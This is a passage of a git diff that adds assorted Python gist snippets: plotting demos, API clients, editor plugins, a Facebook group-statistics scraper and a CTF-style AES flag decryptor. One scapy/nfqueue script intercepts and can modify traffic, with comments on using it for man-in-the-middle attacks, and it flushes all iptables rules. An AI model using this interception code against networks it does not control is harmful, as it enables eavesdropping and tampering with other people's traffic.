+                              border_width=1,
+                              padding_bg_color="lightgray",
+                              width=800,
+                              height=380,
+                              marker_size=2,
+                              show_label=False),
+                HGroup(spring, Item("plot_type", style='custom'), spring),
+                resizable = True,
+                buttons = ["OK"],
+                width=800, height=500)
+
+
+class Controller(HasTraits):
+
+    # A reference to the plot viewer object
+    viewer = Instance(Viewer)
+
+    # The max number of data points to accumulate and show in the plot
+    max_num_points = Int(1000)
+
+    # The number of data points we have received; we need to keep track of
+    # this in order to generate the correct x axis data series.
+    num_ticks = Int(0)
+
+    # private reference to the random number generator.  this syntax
+    # just means that self._generator should be initialized to
+    # random.normal, which is a random number function, and in the future
+    # it can be set to any callable object.
+    _generator = Trait(get_data, Callable)
+
+    view = View(Group('max_num_points',
+                      orientation="vertical"),
+                      buttons=["OK", "Cancel"])
+
+    def timer_tick(self, *args):
+        """
+        Callback function that should get called based on a timer tick.  This
+        will generate a new random data point and set it on the `.data` array
+        of our viewer object.
+        """
+        # Generate a new number and increment the tick count
+        new_val = self._generator()
+        self.num_ticks += len(new_val)
+
+        # grab the existing data, truncate it, and append the new point.
+        # This isn't the most efficient thing in the world but it works.
+        cur_data = self.viewer.data
+        # new_data = np.hstack((cur_data[-self.max_num_points+1:], [new_val]))
+        new_data = np.r_[cur_data[-self.max_num_points+1:], new_val]
+        new_index = np.arange(self.num_ticks - len(new_data) + 1,
+                              self.num_ticks + 0.01)
+
+        self.viewer.index = new_index
+        self.viewer.data = new_data
+        return
+
+
+class DemoHandler(Handler):
+
+    def closed(self, info, is_ok):
+        """ Handles a dialog-based user interface being closed by the user.
+        Overridden here to stop the timer once the window is destroyed.
+        """
+        info.object.timer.Stop()
+        return
+
+
+class Demo(HasTraits):
+    controller = Instance(Controller)
+    viewer = Instance(Viewer, ())
+    timer = Instance(Timer)
+    view = View(Item('controller', style='custom', show_label=False),
+                Item('viewer', style='custom', show_label=False),
+                handler=DemoHandler,
+                resizable=True)
+
+    def edit_traits(self, *args, **kws):
+        # Start up the timer! We should do this only when the demo actually
+        # starts and not when the demo object is created.
+        self.timer = Timer(100, self.controller.timer_tick)
+        return super(Demo, self).edit_traits(*args, **kws)
+
+    def configure_traits(self, *args, **kws):
+        # Start up the timer! We should do this only when the demo actually
+        # starts and not when the demo object is created.
+        self.timer = Timer(100, self.controller.timer_tick)
+        return super(Demo, self).configure_traits(*args, **kws)
+
+    def _controller_default(self):
+        return Controller(viewer=self.viewer)
+
+
+# NOTE: examples/demo/demo.py looks for a 'demo' or 'popup' or 'modal popup'
+# keyword when it executes this file, and displays a view for it.
+popup = Demo()
+
+
+if __name__ == "__main__":
+    popup.configure_traits()
diff --git a/hard-gists/8555125/._snippet.py b/hard-gists/8555125/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8555125/._snippet.py differ
diff --git a/hard-gists/8555125/snippet.py b/hard-gists/8555125/snippet.py
new file mode 100644
index 00000000..2e295f53
--- /dev/null
+++ b/hard-gists/8555125/snippet.py
@@ -0,0 +1,40 @@
+#!/usr/bin/env python
+
+from gmusicapi import Musicmanager
+from gmusicapi import Mobileclient
+
+import sys
+import os.path
+
+params = sys.argv
+if len(params) < 2:
+    print "usage:" + sys.argv[0] + " filename [playlist name]"
+    sys.exit()
+
+file = params[1]
+
+if len(params) == 3:
+    plname = params[2]
+else:
+    plname = None
+
+mm = Musicmanager()
+api = Mobileclient()
+mm.login()
+api.login('GoogleID', 'Password')
+
+track = mm.upload(file)
+track_id = track[0][file]
+
+if plname:
+    playlist_id = None
+    playlists = api.get_all_playlists()
+    for playlist in playlists:
+        if plname == playlist['name']:
+            playlist_id = playlist['id']
+            break
+
+    if playlist_id == None:
+        playlist_id = api.create_playlist(plname)
+
+    api.add_songs_to_playlist(playlist_id, track_id)
diff --git a/hard-gists/8555297/._snippet.py b/hard-gists/8555297/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8555297/._snippet.py differ
diff --git a/hard-gists/8555297/snippet.py b/hard-gists/8555297/snippet.py
new file mode 100644
index 00000000..8a4bafae
--- /dev/null
+++ b/hard-gists/8555297/snippet.py
@@ -0,0 +1,15 @@
+# this plugin creates a command `open_from_clipboard` that opens the path that's currently in the clipboard
+# save this file at Packages/User/openclipboard.py
+# then add the follow key binding if you like via the menu Preferences > Key Bindings - User
+# 	{ "keys": ["ctrl+shift+o"], "command": "open_from_clipboard" }
+
+import sublime
+import sublime_plugin
+
+class OpenFromClipboardCommand(sublime_plugin.WindowCommand):
+	def run(self):
+		fn = sublime.get_clipboard()
+		if fn:
+			sublime.active_window().open_file(fn)
+		else:
+			sublime.status_message("Nothing to open. The clipboard is empty.")
diff --git a/hard-gists/855680/._snippet.py b/hard-gists/855680/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/855680/._snippet.py differ
diff --git a/hard-gists/855680/snippet.py b/hard-gists/855680/snippet.py
new file mode 100644
index 00000000..9d9d0236
--- /dev/null
+++ b/hard-gists/855680/snippet.py
@@ -0,0 +1,49 @@
+from sampy import *
+import time
+
+import urllib
+
+myhub=SAMPHubProxy()
+myhub.connect()
+
+client=SAMPClient(myhub)
+
+metadata1={"samp.name":"Client",
+           "samp.description.text":"Client",
+           "client.version":"0.01"}
+
+client.start()
+client.register()
+
+client.declareMetadata(metadata1)
+
+class Receiver(object):
+    def __init__(self):
+        self.received = False
+    def receive_call(self, private_key, sender_id, msg_id, mtype, params, extra):
+        self.private_key = private_key
+        self.sender_id = sender_id
+        self.msg_id = msg_id
+        self.mtype = mtype
+        self.params = params
+        self.extra = extra
+        self.received = True
+
+r = Receiver()
+
+client.bindReceiveCall("table.load.*", r.receive_call)
+
+try:
+
+    while True:
+        time.sleep(1)
+        if r.received:
+            print "Message received"
+            break
+
+finally:
+
+    client.unregister()
+    client.stop()
+
+    myhub.disconnect()
diff --git a/hard-gists/8577232/._snippet.py b/hard-gists/8577232/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8577232/._snippet.py differ
diff --git a/hard-gists/8577232/snippet.py b/hard-gists/8577232/snippet.py
new file mode 100644
index 00000000..abcdc0c6
--- /dev/null
+++ b/hard-gists/8577232/snippet.py
@@ -0,0 +1,442 @@
+from Queue import Queue			# Threadsafe queue for threads to use
+from collections import Counter    	# To count stuff for us
+import datetime                    	# Because datetime printing is hard
+from pprint import pprint
+import time                    		# Should be obvious
+import subprocess                	# Used to send notifications on mac
+import sys                    		# Get system info
+import threading 			# Should be obvious
+import json                             # Also obvious
+
+# FB API wrapper ("pip install facebook-sdk")
+import facebook
+
+__author__ = 'Henri Sweers'
+
+appeared = dict()
+
+
+# For printing pretty colors in terminal
+class color:
+    PURPLE = '\033[95m'
+    CYAN = '\033[96m'
+    DARKCYAN = '\033[36m'
+    BLUE = '\033[94m'
+    GREEN = '\033[92m'
+    YELLOW = '\033[93m'
+    RED = '\033[91m'
+    BOLD = '\033[1m'
+    UNDERLINE = '\033[4m'
+    END = '\033[0m'
+
+
+# If you're on mac, install terminal-notifier ("brew install terminal-notifier")
+#   to get nifty notifications when it's done
+def notify_mac():
+    if sys.platform == "darwin":
+        try:
+            subprocess.call(
+                ["terminal-notifier", "-message", "Done", "-title", "FB_Bot",
+                 "-sound", "default"])
+        except OSError:
+            print "If you have terminal-notifier, this would be a notification"
+
+
+# Log message with colors
+# ... I never learned the proper way to log in python
+def log(message, *colorargs):
+    if len(colorargs) > 0:
+        print colorargs[0] + message + color.END
+    else:
+        print message
+
+
+# Junk method used for testing
+def test():
+    log("Test")
+
+
+# Export method, recieves a jsonObj of style {"label": dictionary}
+def exportData(jsonDict):
+    # Do stuff
+    print "Exported"
+    # print jsonDict
+
+
+# Thread class. Each thread gets all the data from a certain date range
+class RequestThread(threading.Thread):
+
+    def __init__(self, queue, apikey, query, curr_time, num_weeks):
+
+        # Super class
+        threading.Thread.__init__(self)
+
+        # Queue object given from outside. Queues are threadsafe
+        self.queue = queue
+
+        # Graph object for our call, authenticated with a token
+        self.graph = facebook.GraphAPI(apikey)
+
+        # FQL query with specified date range
+        self.input_query = query
+
+        # Counters. t-total, p-posts, c-comments
+        self.tcounter = Counter()
+        self.pcounter = Counter()
+        self.ccounter = Counter()
+        self.tpcounter = Counter()
+        self.tccounter = Counter()
+        self.cccounter = Counter()
+
+        # Time range, for logging
+        self.time_range = datetime.datetime.fromtimestamp(
+            curr_time - num_weeks).strftime('%Y-%m-%d') + "-" + \
+            datetime.datetime.fromtimestamp(curr_time).strftime(
+                '%Y-%m-%d')
+
+    # Main runner
+    def run(self):
+
+        log("\t(" + self.time_range + ') - Getting posts...')
+
+        # Get group posts
+        try:
+            group_posts = self.graph.fql(query=self.input_query)
+        except facebook.GraphAPIError as e:
+            # 99% of the time this is just an expired API access token
+            log("Error: " + str(e), color.RED)
+            sys.exit()
+
+        log("\t(" + self.time_range + ") - " +
+            str(len(group_posts)) + " posts")
+
+        # Iterate over posts
+        if len(group_posts) != 0:
+            for post in group_posts:
+                comments_query = \
+                    "SELECT fromid, likes, id, time FROM comment WHERE post_id="
+
+                # If it's a new actor
+                if post['actor_id'] in appeared.keys():
+                    if appeared[post['actor_id']] > int(post['created_time']):
+                        appeared[post['actor_id']] = int(post['created_time'])
+                else:
+                    appeared[post['actor_id']] = int(post['created_time'])
+
+                # Add post's like count to that user in our total_likes_counter
+                self.tcounter[post['actor_id']] += post[
+                    'like_info']['like_count']
+
+                # Add to top like posts counter
+                self.pcounter[post['post_id']] = post['like_info'][
+                    'like_count']
+
+                # Timestamp of post by 
+                day_timestamp = datetime.datetime.fromtimestamp(int(post['created_time']))
+                day_timestamp = day_timestamp.replace(hour=0, minute=0, second=0, microsecond=0)
+                day_timestamp = (day_timestamp - datetime.datetime(1970, 1, 1)).total_seconds()
+
+                # Add to post count
+                self.tpcounter[str(day_timestamp)] += 1
+
+                # Initialize controversial counter
+                self.cccounter[post['post_id']] += 1
+
+                # Get likes on comments
+                comments = self.graph.fql(
+                    comments_query + "\"" + str(post['post_id']) +
+                    "\" LIMIT 350")
+
+                # Iterate over comments
+                if len(comments) != 0:
+                    log("\t(" + self.time_range + ") - " + str(
+                        len(comments)) + " comments")
+                    log("\t(" + self.time_range + ') - Getting comments...')
+
+                    for c in comments:
+                        # add their like counts to their respective users
+                        # in our total_likes_counter
+                        self.tcounter[c['fromid']] += c['likes']
+
+                        # add like count to top_comments_likes_counter
+                        self.ccounter[c['id']] = c['likes']
+
+                        # Add to comment count
+                        self.tccounter[str(day_timestamp)] += 1
+
+                        # Add to controversial counter
+                        self.cccounter[post['post_id']] += 1
+
+                        # If it's a new actor
+                        if c['fromid'] in appeared.keys():
+                            if appeared[c['fromid']] > int(c['time']):
+                                appeared[c['fromid']] = int(c['time'])
+                        else:
+                            appeared[c['fromid']] = int(c['time'])
+
+                else:
+                    log("\tNo comments from this post")
+        else:
+            log("\tNo posts from this time frame")
+
+        self.queue.put({'t': self.tcounter, 'p': self.pcounter, 'c':
+                        self.ccounter, 'tp': self.tpcounter, 
+                        'tc': self.tccounter, 'cc': self.cccounter})
+
+
+# Method for counting various total likes in a group
+def count_group_likes():
+    # Access token can be obtained by doing the following:
+    # - Log into facebook
+    # - Go to this url: https://developers.facebook.com/tools/explorer
+    fb_API_access_token = "token_goes_here"
+
+    # Only necessary if you want to get an extended access token
+    # You'll have to make a facebook app and generate a token with it
+    # You'll also need to get the following two values from it
+    fb_app_id = "id_goes_here"
+    fb_secret_key = "key_goes_here"
+
+    # Counter object to do the counting for us
+    total_likes_counter = Counter()
+    top_liked_posts_counter = Counter()
+    top_liked_comments_counter = Counter()
+    total_posts_counter = Counter()
+    total_comments_counter = Counter()
+    most_discussed_counter = Counter()
+
+    group_id = "id_goes_here"        # Unique ID of the group to search.
+    num_of_items_to_return = 30      # Return the top ____ most liked ____
+
+    # Put the number of weeks you want it to increment by each time
+    #   smaller is better, but too small and you could hit your rate limit
+    #       ... which is 600 calls per 600 seconds. Maybe apps get more
+    num_weeks = int("2")
+
+    # Convert to unix time
+    num_weeks_unix = num_weeks * 604800
+
+    # Start date, in unix time (our group was made 2/13/12)
+    # You can use this to convert: http://goo.gl/4QMFbW
+    start_date = int("start_date_goes_here")
+
+    datetime_start_date = datetime.datetime.fromtimestamp(start_date)
+
+    # Query strings for FQL
+    posts_query = \
+        "SELECT post_id, like_info, actor_id, created_time FROM stream" + \
+        " WHERE source_id=" + group_id + " AND created_time<"
+    person_query = "SELECT first_name, last_name FROM user WHERE uid="
+
+    # Authorize our API wrapper
+    graph = facebook.GraphAPI(fb_API_access_token)
+
+    # Code to programatically extend key
+    if extend_key:
+        result = graph.extend_access_token(fb_app_id, fb_secret_key)
+        new_token = result['access_token']
+        new_time = int(result['expires']) + time.time()
+
+        # This will print out new extended token and new expiration date
+        # Copy them and replace your token above with this one
+        print 'New token: ' + new_token
+        print 'New expiration date: ' + datetime.datetime.fromtimestamp(
+            new_time).strftime('%Y-%m-%d %H:%M:%S')
+
+    log('Getting group posts', color.BLUE)
+
+    # Send end time to current time and work backward
+    end_time = int(time.time())
+
+    # Or manually set end time
+    # end_time = <end_time>
+
+    log('Current date is: ' + datetime.datetime.fromtimestamp(
+        end_time).strftime('%Y-%m-%d'))
+
+    log('Incrementing by ' + str(num_weeks) + ' weeks at a time')
+
+    # List of thread objects
+    threads = []
+
+    # Threadsafe queue for the threads to dump their data in
+    final_queue = Queue()
+
+    log("Initializing threads...", color.BLUE)
+
+    # While loop that creates the threads
+    # Instantiates each thread with calculated time, keeps decrementing to
+    # start
+    while end_time > start_date:
+
+        # New query
+        new_query = posts_query + str(
+            end_time) + " AND created_time>" + \
+            str(end_time - num_weeks_unix) + " LIMIT 600"
+
+        # Thread creation
+        t = RequestThread(final_queue, fb_API_access_token, new_query,
+                          end_time, num_weeks_unix)
+
+        # Add it to our list
+        threads.append(t)
+
+        # Decrement the time
+        end_time -= num_weeks_unix
+
+        # Start the thread
+        t.start()
+
+    log("Joining threads...", color.BLUE)
+
+    # Wait for all the threads to finish before counting everything up
+    for t in threads:
+        t.join()
+
+    log("Done, merging data...", color.BLUE)
+
+    # Count up all the data by merging all the counters from each thread result
+    for stuff in list(final_queue.queue):
+        total_likes_counter += stuff['t']
+        top_liked_posts_counter += stuff['p']
+        top_liked_comments_counter += stuff['c']
+        total_posts_counter += stuff['tp']
+        total_comments_counter += stuff['tc']
+        most_discussed_counter += stuff['cc']
+
+    most_active_day_counter = total_posts_counter + total_comments_counter
+
+    # Returns key-value list of most liked people
+    most_common_people = total_likes_counter.most_common(
+        num_of_items_to_return)
+    top_posts = top_liked_posts_counter.most_common(num_of_items_to_return)
+    top_comments = top_liked_comments_counter.most_common(
+        num_of_items_to_return)
+    total_posts = total_posts_counter.most_common(num_of_items_to_return)
+    total_comments = total_comments_counter.most_common(num_of_items_to_return)
+    most_active_days = most_active_day_counter.most_common(num_of_items_to_return)
+    most_discussed = most_discussed_counter.most_common(num_of_items_to_return)
+
+
+    top_people_stats = []
+    # Iterate over top people and retrieve names from their ID's
+    # Use enumerate to keep track of indices for rank numbers
+    log('\nPeople Stats', color.BOLD)
+    log("* = Weighted average calc'd from user's first post date")
+    for i, x in enumerate(most_common_people):
+        person = graph.fql(person_query + str(x[0]))[0]
+
+        now = datetime.datetime.now()
+        join_date = datetime.datetime.fromtimestamp(appeared[x[0]])
+        diff1 = now - datetime_start_date
+        diff2 = now - join_date
+
+        avg = x[1] / (diff1.total_seconds()/60/60/24/7)
+        weighted_avg = x[1] / (diff2.total_seconds()/60/60/24/7)
+
+        top_people_stats.append({
+            "name": person['first_name'] + " " + person['last_name'],
+            "likes": x[1],
+            "avg": avg,
+            "augmented_avg": weighted_avg,
+            "first": int((join_date - datetime.datetime(1970, 1, 1)).total_seconds())
+        })
+
+        print '#' + str(i+1) + '. ' + person['first_name'] + " " + person['last_name']
+        print '-- Likes: ' + str(x[1])
+        print '-- Weekly average: ' + str(avg)
+        print '-- Weekly average*: ' + str(weighted_avg)
+        print '-- First post: ' + join_date.strftime('%Y-%m-%d')
+
+    # Iterate over top posts and get info
+    log('\nTop posts!', color.BOLD)
+    for x in top_posts:
+        post = graph.get_object(str(x[0]))
+        s = str(x[1]) + " - " + post['from']['name'] + " - " + post['type']
+        print s
+        if 'message' in post:
+            m = str(post['message'].encode('ascii', 'ignore')).replace('\n', ' ')
+            if len(m) > 70:
+                print '-- ' + m[0:70] + "..."
+            else:
+                print '-- ' + m
+        print '-- http://www.facebook.com/' + post['id']
+
+    # Iterate over top comments and get info
+    log('\nTop comments!', color.BOLD)
+    for x in top_comments:
+        comment = graph.get_object(str(x[0]))
+        s = str(x[1]) + " - " + comment['from']['name']
+        print s
+        if 'message' in comment:
+            c = str(comment['message'].encode('ascii', 'ignore')).replace('\n', ' ')
+            if len(c) > 70:
+                print '-- ' + c[0:70] + "..."
+            else:
+                print '-- ' + c
+        print '-- http://www.facebook.com/' + comment['id']
+
+    # Iterate over total posts/comments and calculate info
+    log('\nMost active days (by number of posts and comments)', color.BOLD)
+    for x in most_active_days:
+        d = datetime.datetime.fromtimestamp(float(x[0])).strftime('%m/%d/%Y')
+        print str(x[1]) + " - " + d
+
+    # Iterate over total posts and calculate info
+    log('\nMost active days (by number of posts)', color.BOLD)
+    for x in total_posts:
+        d = datetime.datetime.fromtimestamp(float(x[0])).strftime('%m/%d/%Y')
+        print str(x[1]) + " - " + d
+
+    # Iterate over total comments and calculate info
+    log('\nMost active days (by number of comments)', color.BOLD)
+    for x in total_comments:
+        d = datetime.datetime.fromtimestamp(float(x[0])).strftime('%m/%d/%Y')
+        print str(x[1]) + " - " + d
+
+    # Iterate over top posts and get info
+    log('\nMost discussed', color.BOLD)
+    for x in most_discussed:
+        post = graph.get_object(str(x[0]))
+        s = str(x[1]) + " - " + post['from']['name'] + " - " + post['type']
+        print s
+        if 'message' in post:
+            m = str(post['message'].encode('ascii', 'ignore')).replace('\n', ' ')
+            if len(m) > 70:
+                print '-- ' + m[0:70] + "..."
+            else:
+                print '-- ' + m
+        print '-- http://www.facebook.com/' + post['id']
+
+    log('\nExporting...', color.BLUE)
+    dataDict = json.dumps({"top_people_stats": top_people_stats,
+                "top_liked_posts_counter": top_liked_posts_counter,
+                "top_liked_comments_counter": top_liked_comments_counter,
+                "total_posts_counter": total_posts_counter,
+                "total_comments_counter": total_comments_counter,
+                "most_active_day_counter": most_active_day_counter,
+                "most_common_people": most_common_people,
+                "top_posts": top_posts,
+                "top_comments": top_comments,
+                "total_posts": total_posts,
+                "total_comments": total_comments,
+                "most_active_days": most_active_days})
+
+    exportData(dataDict)
+
+
+args = sys.argv
+
+extend_key = False          # boolean for if we want to extend token access
+
+if len(args) > 1:
+    if "--extend" in args:  # Pass in flag
+        extend_key = True
+    if "test" in args:
+        test()
+        sys.exit()
+    else:
+        log('No args specified')
+
+count_group_likes()
+notify_mac()
diff --git a/hard-gists/8585400/._snippet.py b/hard-gists/8585400/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8585400/._snippet.py differ
diff --git a/hard-gists/8585400/snippet.py b/hard-gists/8585400/snippet.py
new file mode 100644
index 00000000..fc7db297
--- /dev/null
+++ b/hard-gists/8585400/snippet.py
@@ -0,0 +1,15 @@
+import clipboard
+import urllib
+import Image
+import photos
+import cStringIO
+
+# Given an image URL in the clipboard, save the image to the iOS Camera Roll with Pythonista. Simple script with no error checks or other settings.
+
+URL = clipboard.get()
+
+file = Image.open(cStringIO.StringIO(urllib.urlopen(URL).read()))
+
+photos.save_image(file)
+
+print 'Image Saved'
diff --git a/hard-gists/8588668/._snippet.py b/hard-gists/8588668/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8588668/._snippet.py differ
diff --git a/hard-gists/8588668/snippet.py b/hard-gists/8588668/snippet.py
new file mode 100644
index 00000000..a5b7c3fb
--- /dev/null
+++ b/hard-gists/8588668/snippet.py
@@ -0,0 +1,36 @@
+import logging
+from twisted.python import log, failure
+
+
+class TwistedLogHandler(logging.Handler):
+    """
+    Sends Python stdlib logging output through the Twisted logging system.
+    """
+
+    def __init__(self, twistedlogpublisher=None):
+        logging.Handler.__init__(self)
+        if twistedlogpublisher is None:
+            twistedlogpublisher = log.theLogPublisher
+        self.twistedlog = twistedlogpublisher
+
+    def emit(self, record):
+        try:
+            info = vars(record)
+            msg = self.format(record)
+            info['isError'] = (record.levelno >= logging.ERROR)
+            if record.exc_info is not None:
+                t, v, tb = record.exc_info
+                info['failure'] = failure.Failure(v, t, tb)
+            info['message'] = record.msg
+            self.twistedlog.msg(msg, **info)
+        except Exception:
+            self.handleError(record)
+            
+
+def usePythonLoggingWithTwisted(logger=None, level=None):
+    if logger is None:
+        logger = logging.getLogger()
+    handler = TwistedLogHandler()
+    if level != None:
+        handler.setLevel(level)
+    logger.addHandler(handler)
\ No newline at end of file
diff --git a/hard-gists/859473/._snippet.py b/hard-gists/859473/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/859473/._snippet.py differ
diff --git a/hard-gists/859473/snippet.py b/hard-gists/859473/snippet.py
new file mode 100644
index 00000000..25cd362c
--- /dev/null
+++ b/hard-gists/859473/snippet.py
@@ -0,0 +1,37 @@
+from django.db.models.manager import Manager
+
+
+class PassThroughManager(Manager):
+    '''
+    Inherit from this Manager to enable you to call any methods from your
+    custom QuerySet class from your manager. Simply define your QuerySet
+    class, and return an instance of it from your manager's `get_query_set`
+    method.
+    
+    Alternately, if you don't need any extra methods on your manager that
+    aren't on your QuerySet, then just pass your QuerySet class to this
+    class' constructer.
+    
+    class PostQuerySet(QuerySet):
+        def enabled(self):
+            return self.filter(disabled=False)
+    
+    class Post(models.Model):
+        objects = PassThroughManager(PostQuerySet)
+    '''
+    # pickling causes recursion errors
+    _deny_methods = ['__getstate__', '__setstate__']
+    
+    def __init__(self, queryset_cls=None):
+        self._queryset_cls = queryset_cls
+        super(PassThroughManager, self).__init__()
+    
+    def __getattr__(self, name):
+        if name in self._deny_methods:
+            raise AttributeError(name)
+        return getattr(self.get_query_set(), name)
+    
+    def get_query_set(self):
+        if self._queryset_cls is not None:
+            return self._queryset_cls(self.model, using=self._db)
+        return super(PassThroughManager, self).get_query_set()
\ No newline at end of file
diff --git a/hard-gists/85a3eab09fefbb3bee5d/._snippet.py b/hard-gists/85a3eab09fefbb3bee5d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/85a3eab09fefbb3bee5d/._snippet.py differ
diff --git a/hard-gists/85a3eab09fefbb3bee5d/snippet.py b/hard-gists/85a3eab09fefbb3bee5d/snippet.py
new file mode 100644
index 00000000..d4a74c28
--- /dev/null
+++ b/hard-gists/85a3eab09fefbb3bee5d/snippet.py
@@ -0,0 +1,63 @@
+#!/usr/bin/python2
+
+"""
+    Use scapy to modify packets going through your machine.
+    Based on nfqueue to block packets in the kernel and pass them to scapy for validation
+"""
+
+import nfqueue
+from scapy.all import *
+import os
+
+# All packets that should be filtered :
+
+# If you want to use it as a reverse proxy for your machine
+iptablesr = "iptables -A OUTPUT -j NFQUEUE"
+
+# If you want to use it for MITM :
+# iptablesr = "iptables -A FORWARD -j NFQUEUE"
+
+print("Adding iptable rules :")
+print(iptablesr)
+os.system(iptablesr)
+
+# If you want to use it for MITM attacks, set ip_forward=1 :
+#print("Set ipv4 forward settings : ")
+#os.system("sysctl net.ipv4.ip_forward=1")
+
+def callback(payload):
+    # Here is where the magic happens.
+    data = payload.get_data()
+    pkt = IP(data)
+    print("Got a packet ! source ip : " + str(pkt.src))
+    if pkt.src == "192.168.1.2":
+        # Drop all packets coming from this IP
+        print("Dropped it. Oops")
+        payload.set_verdict(nfqueue.NF_DROP)
+    else:
+        # Let the rest go it's way
+        payload.set_verdict(nfqueue.NF_ACCEPT)
+    # If you want to modify the packet, copy and modify it with scapy then do :
+    #payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(packet), len(packet))
+
+
+def main():
+    # This is the intercept
+    q = nfqueue.queue()
+    q.open()
+    q.bind(socket.AF_INET)
+    q.set_callback(callback)
+    q.create_queue(0)
+    try:
+        q.try_run() # Main loop
+    except KeyboardInterrupt:
+        q.unbind(socket.AF_INET)
+        q.close()
+        print("Flushing iptables.")
+        # This flushes everything, you might wanna be careful
+        os.system('iptables -F')
+        os.system('iptables -X')
+
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/85ab1cfc3f733165e4b9/._snippet.py b/hard-gists/85ab1cfc3f733165e4b9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/85ab1cfc3f733165e4b9/._snippet.py differ
diff --git a/hard-gists/85ab1cfc3f733165e4b9/snippet.py b/hard-gists/85ab1cfc3f733165e4b9/snippet.py
new file mode 100644
index 00000000..cfcf5ce9
--- /dev/null
+++ b/hard-gists/85ab1cfc3f733165e4b9/snippet.py
@@ -0,0 +1,50 @@
+# -*- coding: utf-8 -*-
+
+
+import gensim
+from sklearn.feature_extraction.text import CountVectorizer
+from gensim.corpora.dictionary import Dictionary
+from gensim.corpora import MmCorpus
+import numpy as np
+import lda
+
+__author__ = 'satomacoto'
+
+documents = ["Human machine interface for lab abc computer applications",
+             "A survey of user opinion of computer system response time",
+             "The EPS user interface management system",
+             "System and human system engineering testing of EPS",
+             "Relation of user perceived response time to error measurement",
+             "The generation of random binary unordered trees",
+             "The intersection graph of paths in trees",
+             "Graph minors IV Widths of trees and well quasi ordering",
+             "Graph minors A survey"]
+
+# gensim
+texts = [[word for word in document.lower().split()] for document in documents]
+dictionary = Dictionary(texts)
+dictionary.save('/tmp/deerwester.dict')
+print(dictionary)
+print(dictionary.token2id)
+new_doc = "Human computer interaction"
+new_vec = dictionary.doc2bow(new_doc.lower().split())
+print(new_vec)
+corpus = [dictionary.doc2bow(text) for text in texts]
+print(corpus)
+MmCorpus.serialize('/tmp/corpus.mm', corpus)
+corpus = MmCorpus('/tmp/corpus.mm')
+print(corpus)
+print(list(corpus))
+
+# sklearn
+vec = CountVectorizer(min_df=1, stop_words=None, vocabulary=dictionary.token2id)
+X = vec.fit_transform(documents)
+vocab = vec.get_feature_names()
+
+id2word = dict([(i, s) for i, s in enumerate(vec.get_feature_names())])
+vocabulary = dictionary.token2id
+
+print(X)
+# CountVectorizer <-> corpus + Dictionary
+print(gensim.matutils.Sparse2Corpus(X))
+print(id2word)
\ No newline at end of file
diff --git a/hard-gists/85c2ea78ba8de11cdaa14c75e740d633/._snippet.py b/hard-gists/85c2ea78ba8de11cdaa14c75e740d633/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/85c2ea78ba8de11cdaa14c75e740d633/._snippet.py differ
diff --git a/hard-gists/85c2ea78ba8de11cdaa14c75e740d633/snippet.py b/hard-gists/85c2ea78ba8de11cdaa14c75e740d633/snippet.py
new file mode 100644
index 00000000..0ffbc541
--- /dev/null
+++ b/hard-gists/85c2ea78ba8de11cdaa14c75e740d633/snippet.py
@@ -0,0 +1,15 @@
+import base64
+from Crypto.Cipher import AES
+from Crypto import Random
+
+# pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) 
+# unpad = lambda s : s[:-ord(s[len(s)-1:])
+
+KEY = "58897d583d888978b62469889d584472"
+PW = "XIANJIAN        "
+
+if __name__ == "__main__":
+  # print len(PW)
+  d = base64.b64decode(open("flag.txt").read().rstrip())
+  c = AES.new(KEY,AES.MODE_ECB,PW)
+  print c.decrypt(d)
diff --git a/hard-gists/8601bfad4ad512ff9d6d46d1ba0fbcca/._snippet.py b/hard-gists/8601bfad4ad512ff9d6d46d1ba0fbcca/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8601bfad4ad512ff9d6d46d1ba0fbcca/._snippet.py differ
diff --git a/hard-gists/8601bfad4ad512ff9d6d46d1ba0fbcca/snippet.py b/hard-gists/8601bfad4ad512ff9d6d46d1ba0fbcca/snippet.py
new file mode 100644
index 00000000..29d7f0f2
--- /dev/null
+++ b/hard-gists/8601bfad4ad512ff9d6d46d1ba0fbcca/snippet.py
@@ -0,0 +1,91 @@
+from __future__ import print_function
+
+"""
+Using OpenDNS domain query activity, we retrieve 5 days
+of queries/hour to a domain for 240+ domains (stored
+in dns.json). We predict the number of queries in
+the next hour using a LSTM recurrent neural network.
+
+An ad hoc anomaly detection is outlined in the final
+for loop.
+
+Refer to:
+    http://stackoverflow.com/questions/25967922/pybrain-time-series-prediction-using-lstm-recurrent-nets
+    https://github.com/pybrain/pybrain/blob/master/examples/supervised/neuralnets%2Bsvm/example_rnn.py
+
+"""
+
+from pybrain.supervised import RPropMinusTrainer
+from pybrain.tools.shortcuts import buildNetwork
+from pybrain.structure.modules import LSTMLayer
+from pybrain.datasets import SequentialDataSet
+from pybrain.tools.xml import NetworkWriter
+from sys import stdout
+import numpy as np
+import random
+import json
+
+# Get queries/hr data
+with open('dns.json', 'r') as f:
+    samples = map(lambda x: x['ts'][:-2], json.load(f))
+
+# Shuffle to partition test/train
+random.shuffle(samples)
+
+# Set train & test data
+train_data, test_data = samples[:50], samples[200:]
+
+# Initialize ds for rnn for 1 obsv and 1 next
+ds = SequentialDataSet(1, 1)
+
+# Add each timeseries (ts)
+for ts in train_data:
+    ds.newSequence()
+    # Add obsv and next
+    for t_1, t_2 in zip(ts, ts[1:]):
+        ds.addSample(t_1, t_2)
+
+# RNN with 1-5-1 architecture: 1 input, 5 hidden, 1 output layer
+rnn = buildNetwork(1, 5, 1,
+                   hiddenclass=LSTMLayer, outputbias=False, recurrent=True)
+
+# Initialize trainer
